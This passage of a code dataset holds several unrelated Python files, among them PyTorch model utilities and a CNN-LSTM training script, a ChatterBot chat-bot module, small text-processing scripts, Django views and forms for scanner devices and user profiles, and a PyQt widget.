channel(输入通道)\n :param times: the number of residual layer(残差的层数)\n \"\"\"\n super().__init__()\n self.res = []\n for i in range(times):\n self.res += [ConvolutionLayer([in_channel, in_channel * 2, 1, 1, 0]),\n ConvolutionLayer([in_channel * 2, in_channel, 3, 1, 1])]\n self.out = nn.Sequential(*self.res)\n\n def forward(self, x):\n return self.out(x) + x\n\n\n# Define a pool layer(定义基本的池化类)\nclass PoolLayer(nn.Module):\n\n def __init__(self, kernel_size, stride, mode=\"max\"):\n \"\"\"\n Input Parameters(输入参数)-----\n :param kernel_size: kernel_size(卷积核大小)\n :param stride: stride(步长)\n :param mode: pool mode(池化方式)\n \"\"\"\n super().__init__()\n if mode == \"max\":\n self.down = nn.Sequential(\n nn.MaxPool2d(kernel_size, stride)\n )\n elif mode == \"mean\":\n self.down = nn.Sequential(\n nn.AvgPool2d(kernel_size, stride)\n )\n\n def forward(self, x):\n return self.down(x)\n\n\n# Define an upsample layer(定义一个基本的上采样层)\nclass UpsampleLayer(nn.Module):\n\n def __init__(self, scale_factor, mode=\"bilinear\"):\n \"\"\"\n Input Parameters(输入参数)-----\n :param scale_factor: scale factor(比例因子)\n :param mode: upsample mode(上采样方式)\n \"\"\"\n super().__init__()\n if mode == \"bilinear\":\n self.up = nn.Upsample(scale_factor=scale_factor, mode=\"bilinear\")\n elif mode == \"nearest\":\n self.up = nn.Upsample(scale_factor=scale_factor, mode=\"nearest\")\n\n def forward(self, x):\n return self.up(x)\n\n\n# Set the initialization parameters(设置初始化参数)\nclass init_weight:\n\n def __init__(self, module_name, module_type, mode):\n \"\"\"\n Input Parameters(输入参数)-----\n :param module_name: module name, for example:self.conv(模块名称)\n :param module_type: The module type of the initialization parameter list,\n for example:[nn.Conv2d,](初始化参数的模块类型)\n :param mode: initialization mode list, for example:[nn.init.normal_,]\n (初始化方式列表,module_type和mode的输入列表长度必须相等)\n \"\"\"\n super(init_weight, self).__init__()\n self.module_name = module_name\n self.module_type = module_type\n self.mode = mode\n\n def init_weight(self):\n for i in range(len(self.module_type)):\n for layer in self.module_name.modules():\n if isinstance(layer, self.module_type[i]):\n param_shape = layer.weight.shape\n w = torch.empty(param_shape)\n self.mode[i](w)\n\n\n# count the flops and params(统计浮点计算量和参数)\nclass Get_Consume:\n\n def __init__(self, net, input):\n \"\"\"\n Input Parameters(输入参数)-----\n :param net: init the net model instance(初始网络模型实例)\n :param input: input data, for example:(input, )(输入的数据,例如:(input, ))\n \"\"\"\n self.net = net\n self.input = input\n\n def get_consume(self):\n flops, params = profile(self.net, inputs=self.input)\n flops, params = clever_format([flops, params], \"%.3f\")\n return flops, params\n","sub_path":"encoder2decoder/utils/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5279,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"506033052","text":"import torch\nimport torch.nn as nn\nimport torchvision\nimport torchvision.transforms as transforms\nimport pickle\nfrom torch.utils import data as data2\nimport torch.nn.functional as F\nimport torch.optim as optim\nimport numpy as np\nfrom torch.autograd import Variable\nimport os\n\n\nclass Dataset(data2.Dataset):\n def __init__(self, list_IDs, labels):\n # initialize\n self.labels = labels\n self.list_IDs = list_IDs\n def __len__(self):\n 'Denotes the total number of samples'\n return len(self.list_IDs)\n \n def __getitem__(self, index):\n 'Generates one sample of data'\n # Select sample\n ID = self.list_IDs[index]\n\n # Load data and get label\n X = torch.load('slide_6_10/' + ID + '.pt')\n X.unsqueeze_(0)\n y = self.labels[ID]\n\n return X, y\n \n def get_X(self):\n X = []\n for i in range(len(self.list_IDs)):\n ID = self.list_IDs[i]\n # x = torch.load('slide_6_10/' + ID + '.pt').unsqueeze_(0)\n x = torch.load('slide_6_10/' + ID + '.pt')\n # convert to np array\n X.append(x.numpy())\n return np.array(X)\n \n def get_y(self):\n y = []\n for i in range(len(self.list_IDs)):\n ID = self.list_IDs[i]\n y.append(self.labels[ID])\n return np.array(y)\n\n\n# define NN models\nclass CNN(nn.Module):\n def __init__(self, seq_len):\n super(CNN, self).__init__()\n self.seq_len = seq_len\n self.conv1 = nn.Conv2d(in_channels=1, out_channels=3, kernel_size=(3,5))\n self.conv1_drop = nn.Dropout2d(p=0.8)\n\n def forward(self, x):\n #print('Conv:', x.size())\n x = self.conv1(x)\n # print('Conv', x.size())\n x = F.relu(F.max_pool2d(x, 2))\n # print('Pool', x.size())\n x = x.view(-1, 3*2*3)\n return x\n \n\nclass CNN_LSTM(nn.Module):\n def __init__(self, seq_len, num_class):\n super(CNN_LSTM, self).__init__()\n self.cnn = CNN(seq_len)\n self.lstm = nn.LSTM(\n input_size=3*2*3, \n hidden_size=50, \n num_layers=2,\n batch_first=True,\n dropout=0.8)\n \n self.linear = nn.Linear(50,num_class)\n self.hidden = []\n \n \n def init_hidden(self, h, c):\n self.hidden = (h, c)\n # Set initial hidden and cell states: initialize outside \n #return (h, c) # (torch.zeros(2, batch_size, 50).to(device) , torch.zeros(2, batch_size, 50).to(device))\n\n def forward(self, x):\n #print(x.size())\n batch_size, timesteps, C, H, W, sequence_size = x.size()\n #print(batch_size*timesteps,C, H, W, sequence_size)\n c_in = x.view(batch_size * timesteps*sequence_size, C, H, W)\n #print(c_in.size())\n \n c_out = self.cnn(c_in)\n #print(c_out.size())\n \n r_in = c_out.view(batch_size,sequence_size,-1)\n r_out, (h_n, h_c) = self.lstm(r_in, self.hidden)#(self.hidden[0][:,:batch_size,:], self.hidden[1][:,:batch_size,:] ))\n r_out2 = self.linear(r_out[:, -1, :])\n\n return F.log_softmax(r_out2, dim=1)\n\nbatch_size=23\nnum_epochs = 200\nlearning_rate = 0.001\nlog_interval = 10\nsave_interval = 200\nseq_len = 75\n\n# Device configuration\ndevice = torch.device('cuda' if torch.cuda.is_available() else 'cpu')\n\ndef slide_learn(iteration, datafile, num_class):\n \n dirName = 'slide_info_' + str(iteration)\n try:\n # Create target Directory\n os.mkdir(dirName)\n except FileExistsError:\n print('Re-writing the touch')\n dirName = dirName + '/'\n \n # load data\n [train_ids, train_labels, test_ids, test_labels] = pickle.load(open(datafile, 'rb'))\n\n training_dataset = Dataset(train_ids, train_labels)\n X_train = training_dataset.get_X()\n Y_train = training_dataset.get_y()\n # print(\"example Dataset\")\n # print(training_dataset[0][0].size()) # tuple e.g. (torch.Size([1, 6, 10, 75]), 0)\n # from iCaRL print(X_train.shape, Y_train.shape, X_test.shape) #(50000, 3, 32, 32) (50000,) (10000, 3, 32, 32)\n test_dataset = Dataset(test_ids, test_labels)\n X_test = test_dataset.get_X()\n Y_test = test_dataset.get_y()\n print(\"Y_test\", Y_test.shape)\n print(Y_test)\n\n # print(X_train.shape)\n # print(len(X_train))\n # print(Y_train[0])\n # print(Y_train.shape)\n # print(X_train.shape, Y_train.shape, X_test.shape)\n train_loader = data2.DataLoader(training_dataset, batch_size=batch_size)\n test_loader = data2.DataLoader(test_dataset, batch_size=batch_size)\n \n model = CNN_LSTM(seq_len, num_class).to(device)\n \n # optimizer\n optimizer = optim.Adam(model.parameters(), lr=learning_rate)\n criterion = nn.CrossEntropyLoss()\n \n # set initial hidden state\n (h_ini, c_ini) = (torch.zeros(2, batch_size, 50).to(device) , torch.zeros(2, batch_size, 50).to(device))\n print(\"init hidden state\", h_ini.size()) \n epoch_lists = []\n model.train()\n for epoch in range(1, num_epochs + 1):\n for batch_idx, (data, target) in enumerate(train_loader):\n\n data = np.expand_dims(data, axis=1)\n data = torch.FloatTensor(data)\n # print(\"train epoch %d, batch %d \" %(epoch, batch_idx), target.size())\n if target.size()[0] != batch_size:\n # print(\"epoch {}, batch {} size {} does not match {}, skip\".format(epoch, batch_idx, target.size()[0], batch_size))\n continue\n data, target = data.to(device), target.to(device)\n\n\n data, target = Variable(data), Variable(target)\n #print('Data size:', data.size())\n\n optimizer.zero_grad()\n \n # init hidden states\n model.init_hidden(h_ini, c_ini)\n \n output = model(data)\n # print(target.size(), output.size())\n # print(\"target\")\n # print(target)\n # print(\"output\")\n # print(output)\n \n # raise ValueError(\"stop here to check\")\n\n loss = F.nll_loss(output, target)\n loss.backward()\n optimizer.step()\n #if batch_idx % log_interval == 0:\n epoch_lists.append(loss.item())\n if epoch % save_interval == 0:\n torch.save(model.state_dict(), dirName + 'model_epoch_' + str(epoch) +'.ckpt')\n \n # save epochs\n pickle.dump(epoch_lists, open(dirName + 'loss.pkl', 'wb'))\n \n ## check for accuracy\n print(\"check for accuracy\") \n results = []\n model.eval()\n test_loss = 0\n correct = 0\n counter = 0\n for data, target in train_loader:\n # print(\"train loader\", counter, target.size())\n if target.size()[0] != batch_size:\n # print(\"batch size {} does not match, skip\".format(target.size()[0]))\n continue\n data = np.expand_dims(data, axis=1)\n data = torch.FloatTensor(data) \n data, target = data.to(device), target.to(device)\n data, target = Variable(data, volatile=True), Variable(target)\n output = model(data)\n test_loss += criterion(\n output, target).item() # sum up batch loss\n pred = output.data.max(\n 1, keepdim=True)[1] # get the index of the max log-probability\n correct += pred.eq(target.data.view_as(pred)).long().cpu().sum()\n counter += 1\n\n test_loss /= len(train_loader.dataset)\n results.append( 100.0 * correct.item() / len(train_loader.dataset) )\n print(\"train loader acc: \", results)\n\n test_loss = 0\n correct = 0\n counter = 0\n for data, target in test_loader:\n # print(\"test loader\", counter, target.size())\n\n if target.size()[0] != batch_size:\n # print(\"batch size {} does not match, skip\".format(target.size()[0]))\n continue\n data = np.expand_dims(data, axis=1)\n data = torch.FloatTensor(data) \n data, target = data.to(device), target.to(device)\n data, target = Variable(data, volatile=True), Variable(target)\n output = model(data)\n test_loss += criterion(\n output, target).item() # sum up batch loss\n pred = output.data.max(\n 1, keepdim=True)[1] # get the index of the max log-probability\n correct += pred.eq(target.data.view_as(pred)).long().cpu().sum()\n counter += 1\n\n test_loss /= len(test_loader.dataset)\n print(\"test_loss\", test_loss, \"correct\", correct)\n\n results.append( 100.0 * correct.item() / len(test_loader.dataset) )\n \n pickle.dump(results, open(dirName + 'results.pkl', 'wb'))\n\n print(\"results\")\n print(results)\n\n# datafile = 'slide_6_10.pkl'\ndatafile = 'slide_6_10_c8.pkl'\nnum_class = int(datafile.split('_c')[1][0])\nprint(\"num_class\", num_class)\nslide_learn(400, datafile, num_class)\n","sub_path":"Joint-classifier-code/slide_learn_framework_org.py","file_name":"slide_learn_framework_org.py","file_ext":"py","file_size_in_byte":8828,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"394438924","text":"#!/usr/bin/python\n\nimport os\nfrom datetime import datetime\nimport simplejson as json\n\nhtml = '''\n\n\nlist of my shared posts in Google Reader\n\n
\n
    %s
\n
\n'''\nli = '''
  • %s at %s
  • '''\n\n\ndef main():\n with open('Result/shared.html', 'w+') as out:\n with open('Data/shared.json') as f:\n shared_file = json.load(f)\n\n ul_content = []\n for content in shared_file['items']:\n if 'title' in content and 'alternate' in content and \\\n 'published' in content and \\\n 'href' in content['alternate'][0]:\n line = li % (\n content['alternate'][0]['href'].encode('utf-8'),\n content['title'].encode('utf-8'),\n datetime.fromtimestamp(\n int(content['published']))\n .strftime('%Y-%m-%d %H:%M:%S'))\n ul_content.append(line)\n\n out.write(html % (os.linesep.join(ul_content)))\n # else:\n # line = \"no keyword in\" + os.linesep + json.dumps(content)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"Src/shared.py","file_name":"shared.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"518960844","text":"def getText():\n txt=open(\"D:/txt/hamlet.txt\",\"r\").read()\n txt = txt.lower()\n for ch in '!~@#$%^&*()_+|\":>5}\".format(word,count))","sub_path":"jieba/CalHamletV1.py","file_name":"CalHamletV1.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"87369972","text":"class ChatBot(object):\n\n def __init__(self, name, adapter=\"chatterbot.adapters.JsonDatabaseAdapter\", database=\"database.db\", logging=True):\n\n self.name = name\n self.log = logging\n\n Adapter = self.import_adapter(adapter)\n self.database = Adapter(database)\n\n self.last_statements = []\n\n def import_adapter(self, adapter):\n import importlib\n\n module_parts = adapter.split(\".\")\n module_path = \".\".join(module_parts[:-1])\n module = importlib.import_module(module_path)\n\n return getattr(module, module_parts[-1])\n\n def get_last_statement(self):\n \"\"\"\n Returns the last statement that was issued to the chat bot.\n \"\"\"\n\n # If there was no last statements, return None\n if len(self.last_statements) == 0:\n return None\n\n return self.last_statements[-1]\n\n def timestamp(self, fmt=\"%Y-%m-%d-%H-%M-%S\"):\n \"\"\"\n Returns a string formatted timestamp of the current time.\n \"\"\"\n import datetime\n return datetime.datetime.now().strftime(fmt)\n\n def update_occurrence_count(self, key):\n \"\"\"\n Increment the occurrence count for a given statement in the database.\n The key parameter is a statement that exists in the database.\n \"\"\"\n database_values = self.database.find(key)\n\n # If an occurence count does not exist then initialize it\n if not \"occurrence\" in database_values:\n database_values[\"occurrence\"] = 0\n\n database_values[\"occurrence\"] += 1\n\n # Save the changes to the database\n self.database.update(key, database_values)\n\n def update_response_list(self, key, previous_statement):\n \"\"\"\n Update the list of statements that a know statement has responded to.\n \"\"\"\n\n database_values = self.database.find(key)\n\n if not \"in_response_to\" in database_values:\n database_values[\"in_response_to\"] = []\n\n # TODO:\n '''\n In the future, the in_response_to list should become a dictionary\n of the response statements with a value of the number of times each statement\n has occured. This should make selecting likely responces more accurate.\n '''\n\n if previous_statement:\n # Check to make sure that the statement does not already exist\n if not previous_statement in database_values[\"in_response_to\"]:\n database_values[\"in_response_to\"].append(previous_statement)\n\n self.database.update(key, database_values)\n\n def train(self, conversation):\n for i in range(0, len(conversation)):\n\n statement = conversation[i]\n\n # Create an entry if the statement does not exist in the database\n if not self.database.find(statement):\n self.database.insert(statement, {})\n\n database_values = self.database.find(statement)\n\n database_values[\"date\"] = self.timestamp()\n\n self.database.update(statement, database_values)\n\n self.update_occurrence_count(statement)\n self.update_response_list(statement, self.get_last_statement())\n\n self.last_statements.append(statement)\n\n def update_log(self, data):\n\n statement = list(data.keys())[0]\n values = data[statement]\n\n # Create the statement if it doesn't exist in the database\n if not self.database.find(statement):\n self.database.insert(statement, {})\n\n # Get the existing values from the database\n database_values = self.database.find(statement)\n\n database_values[\"name\"] = values[\"name\"]\n database_values[\"date\"] = values[\"date\"]\n\n # Update the database with the changes\n self.database.update(statement, database_values)\n\n self.update_occurrence_count(statement)\n self.update_response_list(statement, self.get_last_statement())\n\n # TODO, change user_name and input_text into a single dict\n def get_response_data(self, user_name, input_text):\n \"\"\"\n Returns a dictionary containing the following data:\n * user: The user's statement meta data\n * bot: The bot's statement meta data\n \"\"\"\n from chatterbot.algorithms.engram import Engram\n from chatterbot.matching import closest\n\n if input_text:\n # Use the closest known matching statement\n closest_statement = closest(input_text, self.database)\n else:\n # If the input is blank, return a random statement\n closest_statement = self.database.get_random()\n\n response_statement = Engram(closest_statement, self.database)\n self.last_statements.append(response_statement.get())\n\n statement_text = list(self.get_last_statement().keys())[0]\n\n user = {\n input_text: {\n \"name\": user_name,\n \"date\": self.timestamp()\n }\n }\n\n # Update the database before selecting a response if logging is enabled\n if self.log:\n self.update_log(user)\n\n return {user_name: user, \"bot\": statement_text}\n\n def get_response(self, input_text, user_name=\"user\"):\n \"\"\"\n Return only the bot's response text from the input\n \"\"\"\n return self.get_response_data(user_name, input_text)[\"bot\"]\n\n\nclass Terminal(ChatBot):\n\n def __init__(self, name=\"Terminal\", adapter=\"chatterbot.adapters.JsonDatabaseAdapter\", database=\"database.db\", logging=True):\n super(Terminal, self).__init__(name, adapter, database)\n\n def begin(self, user_input=\"Type something to begin...\"):\n import sys\n\n print(user_input)\n\n while True:\n try:\n # 'raw_input' is just 'input' in python3\n if sys.version_info[0] < 3:\n user_input = str(raw_input())\n else:\n user_input = input()\n\n bot_input = self.get_response(user_input)\n print(bot_input)\n\n except (KeyboardInterrupt, EOFError, SystemExit):\n break\n\n\nclass TalkWithCleverbot(ChatBot):\n\n def __init__(self, name=\"ChatterBot\", adapter=\"chatterbot.adapters.JsonDatabaseAdapter\", database=\"database.db\", logging=True):\n super(TalkWithCleverbot, self).__init__(name, adapter, database)\n from chatterbot.cleverbot.cleverbot import Cleverbot\n\n self.running = True\n self.cleverbot = Cleverbot()\n\n def begin(self, bot_input=\"Hi. How are you?\"):\n import time\n from random import randint \n from chatterbot.apis import clean\n\n print(self.name, bot_input)\n\n while self.running:\n cb_input = self.cleverbot.ask(bot_input)\n print(\"cleverbot:\", cb_input)\n cb_input = clean(cb_input)\n\n bot_input = self.get_response(cb_input, \"cleverbot\")\n print(self.name, bot_input)\n bot_input = clean(bot_input)\n\n # Delay a random number of seconds.\n time.sleep(1.05 + randint(0, 9))\n\n\nclass SocialBot(object):\n \"\"\"\n Check for online mentions on social media sites.\n The bot will follow the user who mentioned it and\n favorite the post in which the mention was made.\n \"\"\"\n\n def __init__(self, **kwargs):\n from chatterbot.apis.twitter import Twitter\n\n chatbot = ChatBot(\"ChatterBot\")\n\n if \"twitter\" in kwargs:\n twitter_bot = Twitter(kwargs[\"twitter\"])\n\n for mention in twitter_bot.get_mentions():\n\n '''\n Check to see if the post has been favorited\n We will use this as a check for whether or not to respond to it.\n Only respond to unfavorited mentions.\n '''\n\n if not mention[\"favorited\"]:\n screen_name = mention[\"user\"][\"screen_name\"]\n text = mention[\"text\"]\n response = chatbot.get_response(text)\n\n print(text)\n print(response)\n\n follow(screen_name)\n favorite(mention[\"id\"])\n reply(mention[\"id\"], response)\n","sub_path":"chatterbot/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":8215,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"94932829","text":"\"\"\"\nНа прошлой неделе мы сжимали строки, используя кодирование повторов. Теперь нашей задачей\nбудет восстановление исходной строки обратно.\n\nНапишите программу, которая считывает из файла строку, соответствующую тексту, сжатому с помощью\nкодирования повторов, и производит обратную операцию, получая исходный текст.\n\nЗапишите полученный текст в файл и прикрепите его, как ответ на это задание.\n\nВ исходном тексте не встречаются цифры, так что код однозначно интерпретируем.\n\"\"\"\n\nwith open (\"dataset_3363_2.txt\") as inf:\n\tstr=inf.readline().strip()\n\nprint (str)\n\ni=0\nbegin=1\ndigit=''\nout_str=''\nwhile i < len(str):\n\tif str[i].isalpha() and begin==1:\n\t\tsym=str[i]\n\t\ti+=1\n\t\tprint (sym)\n\telif str[i].isalpha() and begin==0:\n\t\tbegin=1\n\t\tout_str+=sym*int(digit)\n\t\tprint (out_str)\n\t\tdigit=''\n\telse:\n\t\tdigit+=str[i]\n\t\ti+=1\n\t\tbegin=0\n\t\tprint(digit)\n\nout_str+=sym*int(digit)\nprint (out_str)\n\nwith open ('answer.txt','w') as inf:\n\tinf.write(out_str)\n\n\n","sub_path":"program36.py","file_name":"program36.py","file_ext":"py","file_size_in_byte":1333,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"413014704","text":"#cmd\n# C:\\python27\\python.exe processing.py\n# cd C:\\Users\\mikem\\Documents\\Queen's\\Senior\\498\\Neural-Network-For-Cancer-Detection-Using-Raman-Spectroscopy\\mike\\\n\n#mike - oct 6/19\n\n\n#Data processing - converting the raw csv into an array\n#this uses the github dataset\n\nimport csv, random\nimport matplotlib.pyplot as plt\n\nvals = []\n\ndef importData():\n size = 1368\n #1367 is the label\n #numerical data ends at 1366\n #not bringing in booleans rn\n global vals\n with open('data.csv') as csvfile:\n readCSV = csv.reader(csvfile, delimiter=',')\n for row in readCSV:\n curr = [0 for i in range (size)]\n for col in range (size):\n curr[col] = row[col]\n vals.append(curr)\n #this is important for formatting\n vals[0][0] = vals[0][0][3:]\n #have to get in floats cause really small numbers break it\n for i in range(0, len(vals)):\n for j in range(0, len(vals[0])-1):\n if float(vals[i][j])< 0.01:\n vals[i][j] = float(vals[i][j])\n #process\n for i in range (len(vals)):\n temp = vals[i][1367]\n valid = temp.find('Normal')\n #if normal is not found, set label to -1 , it has tumour\n if valid == -1:\n vals[i][1367] = -1\n #if normal is found, set label to 1, it doesn't have tumour\n else:\n vals[i][1367] = 1\n\n\ndef draw():\n #this plots stuff. big spike around 1k\n global vals\n temparray = []\n val = 65\n for k in range(val+124,val+125): \n for i in range(0,1366):\n temparray.append(float(vals[k][i]))\n plt.plot(temparray)\n plt.savefig('graph'+str(val)+'.png')\n\n#mainline\nprint ('run')\nimportData()\ndraw()\nprint ('done')","sub_path":"OLD/processing.py","file_name":"processing.py","file_ext":"py","file_size_in_byte":1737,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"375159057","text":"'''\nMelhore o jogo do DESAFIO 028 onde o computador vai \"pensar\" em um número entre 0 e 10.\nSó que agora o jogador vai tentar adivinhar até acertar, mostrando no final quantos \npalpites foram necessários para vencer.\n'''\nfrom random import randint\nfrom time import sleep\ntent = 1\nprint('Vou pensar em um número entre 0 e 10. Tente Adivinhar...')\npc = randint(0,10)\nprint('Qual o seu palpite?')\nplayer = int(input(''))\nwhile player != pc:\n if pc > player:\n print(f'\\033[1;31mMais...Tente mais uma vez.\\033[m')\n player = int(input('Qual o seu novo palpite: '))\n tent += 1\n elif pc < player:\n print(f'\\033[1;31mMenos...Tente mais uma vez.\\033[m')\n player = int(input('Qual o seu novo palpite: '))\n tent += 1\nelse:\n print(f'\\033[1;32mPARABÉNS! Você acertou com {tent} tentativa(s)!')\n","sub_path":"exercicios_Youtube/ex058.py","file_name":"ex058.py","file_ext":"py","file_size_in_byte":838,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"451587865","text":"from django.shortcuts import get_object_or_404, render\nfrom django.http import Http404\nfrom django.http import HttpResponseRedirect, HttpResponse\nfrom django.core.urlresolvers import reverse\nfrom .models import ScannerDevice, Scan\nimport json\nfrom django.http import JsonResponse\nimport copy \nfrom django.utils import timezone\nimport traceback\n#TODO: handle exception and return proper error message in json to the client \n# TODO: replace the following implementation of responsed messages\n# with some sort inheritance using classes\nBASE_RESPONSE = {\n 'response': \"\", \n 'data': {},\n 'message':\"\"\n }\n# TODO: replace all keynames with enum's, so that changing keys string \n# requires only at one place\nSUCCESS_RESPONSE = copy.deepcopy(BASE_RESPONSE)\nSUCCESS_RESPONSE['response'] = 'SUCCESS' \nFAILURE_RESPONSE = copy.deepcopy(BASE_RESPONSE)\nFAILURE_RESPONSE['response'] = 'FAILURE'\nSCANNER_DEVICE_NOT_EXISTS = copy.deepcopy(FAILURE_RESPONSE)\nSCANNER_DEVICE_NOT_EXISTS['reason'] ='scanner device does not exists'\n# SCANNER_DEVICE ={ \n# 'name': '', \n# 'uuid': '' \n# }\n\n# Create your views here.\ndef index(request):\n latest_scanner_devices_list = ScannerDevice.objects.order_by('-date_created')[:20] \n response = copy.deepcopy(SUCCESS_RESPONSE)\n response['data'] ={'scanner_devices': []}\n for sd in latest_scanner_devices_list:\n response['data']['scanner_devices'].append({\n 'name': sd.name, \n 'uuid': sd.uuid\n })\n \n return JsonResponse(response)\n\ndef detail(request, scanner_device_id):\n try:\n scanner_device = ScannerDevice.objects.get(pk=scanner_device_id)\n scan_list = Scan.objects.filter(scanner_device = scanner_device)\n except ScannerDevice.DoesNotExist:\n return JsonResponse(SCANNER_DEVICE_NOT_EXISTS)\n response = copy.deepcopy(SUCCESS_RESPONSE)\n response['data']['scanner_device'] = {\n 'name': scanner_device.name, \n 'uuid': scanner_device.uuid,\n 'scans': {}\n }\n for scan in scan_list:\n response['data']['scanner_device']['scans'].append({\n 'rssi': scan.rssi,\n 'datetime': str(scan.datetime)\n })\n\n return JsonResponse(response)\n\ndef update(request, scanner_device_id):\n data = json.loads(request.body)\n try:\n scanner_device = ScannerDevice.objects.get(pk=scanner_device_id)\n # scan_list = Scan.objects.filter(scanner_device = scanner_device)\n scanner_device.name = data['name'] \n scanner_device.save()\n response = copy.deepcopy(SUCCESS_RESPONSE)\n response['message'] = 'Scanner device updated'\n response['data']['scanner_device'] = {\n 'name': scanner_device.name, \n 'uuid': scanner_device.uuid\n }\n return JsonResponse(response)\n except ScannerDevice.DoesNotExist:\n return JsonResponse(SCANNER_DEVICE_NOT_EXISTS)\n\n# def add(request):\n# data = json.loads(request.body)\n# sd = data['scanner_device']\n# scanner_devices = ScannerDevice.objects.filter(uuid = data['scanner_device']['uuid'])\n# response = copy.deepcopy(SUCCESS_RESPONSE)\n# scanner_device = None \n# if len(scanner_devices) == 0:\n# # scanner device doesn't exist so create one\n# scanner_device = ScannerDevice(uuid = data['scanner_device']['uuid'],\n# name = sd['name'],\n# hardware_address = sd['hardware_address'],\n# date_created = timezone.now()\n# )\n# response['message'] = 'Scanner device created'\n# elif len(scanner_devices) == 1:\n# # scanner exits, update it\n# scanner_device = scanner_devices[0]\n# scanner_device.name = sd['name'] \n# scanner_device.hardware_address = sd['hardware_address'],\n# response['message'] = 'Scanner device updated'\n# elif len(scanner_devices) > 1:\n# response = copy.deepcopy(FAILURE_RESPONSE)\n# response['message'] = 'Datbase cant have two scanner with same id'\n# return JsonResponse(response)\n# scanner_device.save()\n# return JsonResponse(response)\n\ndef add(request):\n try:\n data = json.loads(request.body)\n sd = data['scanner_device']\n scanner_devices = ScannerDevice.objects.filter(uuid = data['scanner_device']['uuid'])\n response = copy.deepcopy(SUCCESS_RESPONSE)\n scanner_device = None \n if len(scanner_devices) == 0:\n # scanner device doesn't exist so create one\n scanner_device = ScannerDevice(uuid = data['scanner_device']['uuid'],\n name = sd['name'],\n hardware_address = sd['hardware_address'],\n date_created = timezone.now()\n )\n response['message'] = 'Scanner device created'\n elif len(scanner_devices) == 1:\n # scanner exits, update it\n scanner_device = scanner_devices[0]\n scanner_device.name = sd['name'] \n scanner_device.hardware_address = sd['hardware_address'],\n response['message'] = 'Scanner device updated'\n elif len(scanner_devices) > 1:\n response = copy.deepcopy(FAILURE_RESPONSE)\n response['message'] = 'Datbase cant have two scanner with same id'\n return JsonResponse(response)\n scanner_device.save()\n return JsonResponse(response)\n except:\n response = copy.deepcopy(FAILURE_RESPONSE)\n response['message'] = str(traceback.format_exc()) \n return JsonResponse(response)\n","sub_path":"scan/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5519,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"233412920","text":"try:\r\n from PyQt4.QtCore import *\r\n from PyQt4.QtGui import *\r\n from PyQt4.QtSql import *\r\nexcept:\r\n from PyQt5.QtCore import *\r\n from PyQt5.QtGui import *\r\n from PyQt5.QtSql import *\r\n\r\n\r\nclass DisplayWidget(QWidget):\r\n\r\n def __init__(self):\r\n super().__init__()\r\n self.stacked_layout = QStackedLayout()\r\n self.model = None\r\n self.results_table = QTableView()\r\n self.results_layout = QVBoxLayout()\r\n self.results_widget = QWidget()\r\n self.display_results_layout()\r\n\r\n def display_results_layout(self):\r\n self.results_layout.addWidget(self.results_table)\r\n self.setLayout(self.results_layout)\r\n\r\n def show_results(self,query):\r\n if not self.model or not isinstance(self.model, \"QSqlQueryModel\"):\r\n self.model = QSqlQueryModel()\r\n self.model.setQuery(query)\r\n self.results_table.setModel(self.model)\r\n self.results_table.show()\r\n","sub_path":"src/DisplayWidget.py","file_name":"DisplayWidget.py","file_ext":"py","file_size_in_byte":957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"596846025","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('report', '0004_auto_20150324_1926'),\n ]\n\n operations = [\n migrations.AlterField(\n model_name='report',\n name='broken_bikes',\n field=models.IntegerField(verbose_name='Number of broken bikes'),\n preserve_default=True,\n ),\n migrations.AlterField(\n model_name='report',\n name='date',\n field=models.DateTimeField(verbose_name='Date of report'),\n preserve_default=True,\n ),\n ]\n","sub_path":"report/migrations/0005_auto_20150324_1941.py","file_name":"0005_auto_20150324_1941.py","file_ext":"py","file_size_in_byte":675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"30"} +{"seq_id":"347992613","text":"from django import forms\nfrom profiles.models import Profile\nfrom django.utils.translation import ugettext_lazy as _\nfrom django.forms import ModelForm, Textarea\nfrom image_cropping import ImageCropWidget\n\nfrom awesome_avatar import forms as avatar_forms\n\n\nclass ProfileForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = Profile\n\t\tfields = [\n\t\t\"experience\",\n\t\t\"location\",\n\t\t\"bio\",\n\t\t\"influences\",\n\t\t\"website\",\n\t\t\"email\",\n\t\t\"featured_project\",\n\t\t]\n\n\n\t\tlabels = {\n\t\t'picture': _('Profile Photo'),\n\t\t'location': _('City'),\n\t\t'bio': _('Your Bio'),\n\t\t'influences': _('Your Influences'),\n\t\t}\n\n\n\t\twidgets = {\n 'bio': Textarea(attrs={'cols': 80, 'rows': 5}),\n 'influences': Textarea(attrs={'cols': 80, 'rows': 5}),\n 'email': forms.TextInput(attrs={'placeholder': 'john@gmail.com'}),\n 'website': forms.TextInput(attrs={'placeholder': 'http://'}),\n\n }\n\n\nclass ProfilePhotoForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = Profile\n\t\tfields = [\n\t\t\"image\",\n\t\t\"cropping\",\n\t\t]\n\n\t\tlabels = {\n\t\t'image': _('Your Photo'),\n\t\t'cropping': _('Crop Your Photo'),\n\t\t}\n\n\n\nclass ProfileNoPhotoForm(forms.ModelForm):\n\tclass Meta:\n\t\tmodel = 